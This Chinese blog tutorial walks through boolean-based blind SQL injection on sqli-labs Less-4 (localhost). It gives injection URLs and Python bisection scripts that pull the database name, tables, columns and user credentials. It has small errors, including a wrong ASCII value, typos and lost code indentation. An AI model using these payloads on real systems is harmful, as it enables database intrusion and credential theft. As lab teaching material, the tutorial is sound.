
0x01 判断注入类型
本关和上一关基本一致。只是闭合的方式修改了一点点。
传入id=1a发现解析成功。可以判断是一个字符型的注入
http://localhost/sql/Less-4/?id=1a

尝试传入id=1' 发现页面并没有报错。判断可能是闭合的问题。
http://localhost/sql/Less-4/?id=1'
尝试传入id=1" 发现页面报错。尝试使用注释
http://localhost/sql/Less-4/?id=1" --+
尝试更换注释 发现页面依旧报错。
http://localhost/sql/Less-4/?id=1" %23
尝试传入id=1") 发现页面返回正常
http://localhost/sql/Less-4/?id=1") --+
0x02 判断字段长度
http://localhost/sql/Less-4/?id=1") order by 5 --+

发现页面报错。说是没有5列。
尝试order by 3
http://localhost/sql/Less-4/?id=1") order by 3 --+

尝试order by 4,页面报错。可以判断出列的长度为3列。
http://localhost/sql/Less-4/?id=1") order by 4 --+

0x03 布尔盲注获取数据
union联合查询注入。这里不再演示了。与上关类似。本关主要演示布尔注入。
0x03.1 基于布尔 SQL 盲注讲解
0x03.1.1 left()函数
select left(database(),1);
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位

0x03.1.2 substr()函数和ascii()函数
select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 110;
Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值

可以发现。当当前数据库的名称即database()中的第一个表的第一个字母的ASCII大于100的时候。数据库的查询结果返回为1即true。当大于110的时候则返回为0(false)即假。在页面中true和false的关系就是页面正常和页面不正常。
select ascii(substr((select database()),1,1)) = 115;
可以发现当当前数据库名的第一个字符等于115的时候。返回为1。也就是判断正确。
而ASCII码的115则对应字母s

0x03.3 mid()和ord()
select ord(mid((select database()),1,1)) > 110
Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
Ord()函数同 ascii(),将字符转为 ascii 值
0x03.4 regexp()函数
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost | //当前使用的用户为root
+----------------+
1 row in set (0.00 sec)
mysql> select user() regexp '^r'; // 使用正则表达式匹配当前使用的用户是否以r开头。
+--------------------+
| user() regexp '^r' |
+--------------------+
| 1 | // 因为当前使用的用户是root以字母r开头 所以返回为1
+--------------------+
1 row in set (0.00 sec)
mysql> select user() regexp '[a-z]'; // 判断当前使用的用户是否是a-z。
+-----------------------+
| user() regexp '[a-z]' |
+-----------------------+
| 1 | // 因为当前使用的用户是root 所以是a-z之间的字母 所以返回1
+-----------------------+1
1 row in set (0.00 sec)
// 当正确的时候显示结果为 1,不正确的时候显示结果为 0.
// 在页面中注入的时候,正确的时候返回正确页面。错误的时候可能显示错误页面或页面无数据回显
0x03.5 like匹配函数
和上述的正则类似,mysql 在匹配的时候我们可以用 ike 进行匹配。
mysql> select user(); // 查看当前使用的用户
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select user() like "ro%"; // 判断当前使用的用户是否以字符ro开头
+-------------------+
| user() like "ro%" |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.00 sec)
mysql> select user() like "rt%"; // 判断当前使用的用户是否以字母rt开头
+-------------------+
| user() like "rt%" |
+-------------------+
| 0 |
+-------------------+
1 row in set (0.00 sec)
// 提示:"%" 可用于定义通配符(模式中缺少的字母)。1
当正确的时候显示结果为 1,不正确的时候显示结果为 0
当正确的时候显示结果为 1,不正确的时候显示结果为 0.
当正确的时候显示结果为 1,不正确的时候显示结果为 0.1
0x03.6 and和or
mysql> select 1 = 1 and 1 = 1;
+-----------------+
| 1 = 1 and 1 = 1 |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select 1 = 2 and 1 = 1;
+-----------------+
| 1 = 2 and 1 = 1 |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select 1 = 1 or 1 = 2;
+----------------+
| 1 = 1 or 1 = 2 |
+----------------+
| 1 |
+----------------+
1 row in set (0.00 sec)
mysql> select 1 = 0 or 1 = 2;
+----------------+
| 1 = 0 or 1 = 2 |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
总结:and运算符:需要and运算符前后的语句都为true(真)的时候。最后的结果才为真。
or运算符:只要or运算符前后的语句有一个为true(真)的时候。则最后的结果为真。
在很多编程语言中。and 等同于 && 或 & 而 or 等同于 || 或 | 。sql语句也不例外。
但是sql语句的or不等同于|
0x03.2 基于布尔注入获取数据
0x03.2.1 猜解当前数据库的长度
http://localhost/sql/Less-4/?id=1") and length((select database())) > 5 --+ 回显正常
http://localhost/sql/Less-4/?id=1") and length((select database())) > 8 --+ 回显错误
http://localhost/sql/Less-4/?id=1") and length((select database())) = 8 --+ 回显正常
根据回显的结果来看当前数据库的长度为8位。
判断依据:id = 1 的时候有查询结果且不为空的时候就为true。而and符的后者当前数据库的长度等于8位结果也为真。所在最后页面才会有数据回显。因为8 > 5 所以5回显正常。而8不大于8。因此回显错误。
0x03.2.2 猜解数据库名
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1))>110,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1))>115,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1))>114,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1)) = 115,1,0) --+回显正常
下面写个小脚本猜解数据库的名称:(当然也可以手动猜解)
import requests
length = 1
database = ""
while True:
start = 32
end = 126
tmp = (start + end) // 2
while start < end:
url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),{},1)) > {},1,0) --+'.format(length,tmp)
r = requests.post(url)
if "Dumb" in r.text:
start = tmp + 1
tmp = (start + end) // 2
else:
end = tmp
tmp = (start + end) // 2
database += chr(tmp)
length += 1
// length 起始值为1 刚刚我们猜解了数据库名的长度为8 所以 length == 9 的时候 我们就终止循环
if length == 9:
print("当前数据库名称为: " + database)
break
脚本运行结果:

可以得知当前运行的数据库名称为security
0x03.3 猜解当前数据库表的数量
http://localhost/sql/Less-4/?id=1") and if((select count(*) from information_schema.tables where table_schema=database()) > 3,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if((select count(*) from information_schema.tables where table_schema=database()) > 4,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if((select count(*) from information_schema.tables where table_schema=database()) = 4,1,0) --+ 回显正常

根据结果可以发现security(即当前使用的数据库)有4个数据表
0x03.4 猜解当前数据库的所有表名的长度
select length((select group_concat(table_name) from information_schema.tables where table_schema=database()));
0x03.4 猜解当前数据库表的名称
http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 30,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 25,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 27,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 28,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) = 29,1,0) --+ 回显正常

根据结果来看,可以得知当前数据库所有的表名加在一起的长度为29。
0x03.5 猜解当前数据库所有的表名
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) > 100,1,0) --+ --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) > 103,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) > 101,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) = 101,1,0) --+ 回显正常
根据结果显示对应的Ascii为101。其对应的字符为e
mysql> select char(101);
+-----------+
| char(101) |
+-----------+
| e |
+-----------+
1 row in set (0.00 sec)
写个脚本获取当前数据库中的所有表名
import requests
length = 1
database = ""
while True:
start = 32
end = 126
tmp = (start + end) // 2
while start < end:
url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)) > {},1,0) --+'.format(length,tmp)
r = requests.post(url)
if "Dumb" in r.text:
start = tmp + 1
tmp = (start + end) // 2
else:
end = tmp
tmp = (start + end) // 2
database += chr(tmp)
length += 1
if length == 30 :
print("当前数据库的所有数据表名为: " + database)
break
脚本运行结果:

可以得知security即当前数据库的表名分别为emails,referers,uagents,users
0x03.6 获取某个表的所有字段长度
http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')) > 10 ,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'))> 20 ,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')) > 15 ,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'))> 18 ,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'))=20 ,1,0) --+ 回显正常
根据结果可以发现,users表中的所有字段加起来的长度为20 。
0x03.7 获取某个表的所有字段名
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 100,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 103,1,0) --+
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 105,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 104,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) = 105,1,0) --+
根据结果可以得知。users表中的第一个表的第一个字符为i。其对应的ASCII码为105
mysql> select char(105);
+-----------+
| char(105) |
+-----------+
| i |
+-----------+
1 row in set (0.00 sec)
上脚本:
import requests
length = 1
database = ""
while True:
start = 32
end = 126
tmp = (start + end) // 2
while start < end:
url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),{},1)) > {},1,0) --+'.format(length,tmp)
r = requests.post(url)
if "Dumb" in r.text:
start = tmp + 1
tmp = (start + end) // 2
else:
end = tmp
tmp = (start + end) // 2
database += chr(tmp)
length += 1
if length == 30 :
print(database)
break
脚本运行结果:

根据上述结果可以得知。uses中分别有id,username,password三个字段。
0x03.8 获取某个表的所有数据长度
http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) > 210,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) > 215,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) > 218,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) = 218,1,0) --+ 回显正常
根据上诉结果可以得知。当前users表中的所有数据长度为218。
0x03.9 获取某个表的所有数据
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 50,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 45,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 48,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 49,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) = 49,1,0) --+ 回显正常
根据上诉结果为我们可以得知users表中的第一个表第一个数据的值为1。其对应的ASCII码为50
mysql> select char(49);
+----------+
| char(49) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
上脚本
import requests
length = 1
database = ""
while True:
start = 32
end = 126
tmp = (start + end) // 2
while start < end:
url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),{},1)) > {},1,0) --+'.format(length,tmp)
r = requests.post(url)
if "Dumb" in r.text:
start = tmp + 1
tmp = (start + end) // 2
else:
end = tmp
tmp = (start + end) // 2
database += chr(tmp)
length += 1
if length == 218 :
print(database)
break
脚本运行结果

根据上诉结果我们可以得知id为1 用户名为Dumb密码为Dumb。id为2用户名为Angelina密码为I-kill-you等等
本文作者为blog,转载请注明。